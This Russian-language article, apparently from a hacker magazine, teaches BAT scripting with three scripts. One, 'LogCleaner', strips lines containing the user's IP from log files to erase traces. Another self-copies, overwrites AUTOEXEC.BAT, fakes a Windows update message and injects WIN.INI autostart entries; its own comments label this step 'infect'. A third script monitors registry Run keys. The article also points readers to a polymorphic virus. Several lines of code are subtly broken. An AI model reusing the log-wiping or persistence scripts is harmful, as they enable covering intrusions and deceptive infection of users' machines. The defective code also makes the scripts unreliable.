В наше время автоматизация процесса играет довольно важную роль. В последнее время появилось множество способов реализации процессов, практически не
требующих человеческого вмешательства. В Windows среде это:
WSH, INF, BAT, ASP. В прошлой статье я
объяснял синтаксис INF файлов, а сегодня я покажу вам прелести BAT. Чтобы не говорили, а BAT достаточно мощный инструмент с которым к сожалению мало кто знает
как грамотно работать. Я не считаю нужным давать описание команд, так
как это можно легко найти в мануалах. Я буду давать
хорошо прокомментированные (там где это нужно) исходники. 

Чистим логи

К примеру давайте напишем LogCleaner. Пусть формат логов — в каждой строчке IP + дополнительная информация. Тогда его заданием будет находить строки содержащие наш IP и удалять их. 

@echo off
echo LogCleaner
rem
проверяем входные параметры, первый — IP
if -%1==- goto error
rem
второй — имя файла хранящего логи
if not exist %2 goto error
rem создаем файл lc.temp содержащий все строки из лога(%2) 
rem в которых нет нашего
IP(%1)
find /v «%1″<%2>lc.temp
rem удаляем лог(%2)
echo y|del %2>nul
rem переименовываем lc.temp в имя логфайла(%2)
ren lc.temp %2
goto exit
:error
rem если ошибка вх. параметров, то показать пример использования
echo lc [IP] [Logfile]
:exit

Как видите ничего сложного. В принципе все вертится вокруг конструкции find /v «ip»<log.log>log.tmp, которая служит своеобразным фильтром.

Правим WIN.INI

Упоминания заслуживает и пример редактирования WIN.INI. Основная идея — прописать в секции «windows» переменной «run»/»load» произвольное значение. В этом примере я буду
использовать трюк определения версии Windows (rus/eng). И прослежу чтобы вид файла особо не изменился:

@echo off
rem если нас запустили без параметров то 
rem прописываем себя в Autoexec.bat

if -%1==- goto infect
goto edit

:infect
copy %0 %WINBOOTDIR%\sysinfo.bat
echo %WINBOOTDIR%\sysinfo.bat -setup>c:\autoexec.bat
goto exit

rem иммитируем настройку системы
:edit
rem в COMMAND.COM хранятся разные сообщения об ошибках
rem мы ищем в нем строку «параметров» и если находим
rem то установленый Windows — русский, иначе — English

find «параметров»<%WINBOOTDIR%\COMMAND.COM>nul
if ERRORLEVEL 1 goto windows_english

:windows_russian
echo Windows обновляет файлы конфигурации…
echo Подождите пожалуйста…
rem FC — утилита для сравнения файлов. В зависимости
rem от языка ее ответ будет разным

set no_changes=FC: различия не найдены
goto install

:windows_english
echo Windows is updating configuration files…
echo Pleas wait…
set no_changes=FC: no changes
goto install

:install
set win_ini=win.ini
set space=1
rem в new.co пишем строки load=calc.exe и run=notepad.exe
echo load=calc.exe>new.co
echo run=notepad.exe>>new.co
echo [1][windows]>pos.co
find /i/n «[windows]» win.ini|find «[1]»>cur_pos.co
rem проверяем находится ли раздел «windows» в
начал
е
fc pos.co cur_pos.co|find «%no_changes%»
if ERRORLEVEL 1 goto not_begin

rem если в начале, то удаляем строку «[windows]»
:in_begin
find /i /v «[windows]»<%win_ini%win.00
set win_ini=win.00
set space=0

rem удаляем старые значения load и run
:not_begin
find /i/v «load=»<%win_ini%win.01
find /i/v «run=»<win.01>win.02
echo [windows]>header.co
copy header.co+new.co win.hr>nul
if -%space%==-1 echo.>>win.hr
rem формируем новый WIN.INI
copy win.hr+win.02 win.ini>nul
rem удаляем временные файлы

:clear_tempory_files
echo y|del win.0?>nul
echo y|del *.co>nul
echo y|del win.hr>nul

:exit

Данный код получился довольно объемным, но поскольку он демонстративный, то
вставляет в автозагрузку  WIN.INI блокнот и калькулятор 🙂

На страже закона

Вот еще один пример эффективного использования BAT. Следующий пример автоматически при загрузке проверяет не были ли сделаны изменения в реестре:

@echo off
if -%1==- goto install
goto check
:install
if exist %WINBOOTDIR%\regsafe.bat goto exit
copy %0 %WINBOOTDIR%\regsafe.bat
echo %WINBOOTDIR%\regsafe.bat.bat -check>c:\autoexec.bat
echo RegSafe установлен
goto exit
:check
set r=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
set ro=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
set roe=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
set rs=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
set rso=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
if not exist r goto no_run
if not exist ro goto no_run
if not exist roe goto no_run
if not exist rs goto no_run
if not exist rso goto no_run
:get_reg_data
echo Check registry data…
regedit /E un.r %r%
regedit /E un.ro %ro%
regedit /E un.roe %roe%
regedit /E un.rs %rs%
regedit /E un.rso %rso%
:check_all
fc r un.r|find «FC: различия не найдены»>nul
if ERRORLEVEL 1 echo -Changed Run key
fc ro un.ro|find «FC: различия не найдены»>nul
if ERRORLEVEL 1 echo -Changed RunOnce key
fc roe un.roe|find «FC: различия не найдены»>nul
if ERRORLEVEL 1 echo -Changed RunOnceEx key
fc rs un.rs|find «FC: различия не найдены»>nul
if ERRORLEVEL 1 echo -Changed RunServices key
fc rso un.rso|find «FC: различия не найдены»>nul
if ERRORLEVEL 1 echo -Changed RunServicesOnce key
:save_new_reg_data
echo y|del r
echo y|del ro
echo y|del roe
echo y|del rs
echo y|del rso
ren un.r r
ren un.ro ro
ren un.roe roe
ren un.rs rs
ren un.rso rso
goto exit
:no_run
echo Old Registry RUN key data are erased
echo Create of new data…
regedit /E r %r%
regedit /E ro %ro%
regedit /E roe %roe%
regedit /E rs %rs%
regedit /E rso %rso%
goto exit
:exit

Ну вот пожалуй и все. Если кому-то интересно, то могу посоветовать пример полиморфного вируса в e-zin’e Ring0. Как видите, применение
ВАТ могут найти все — от юзера до администратора. Ах, да! В прилагаемом архиве есть все эти примеры, и еще некоторые… Всяких вам батников 🙂

Примеры

Оставить мнение

Check Also

Как работает Linux: от нажатия кнопки включения до рабочего стола

Лучший способ понять, как работает операционная система, — это проследить поэтапно ее загр…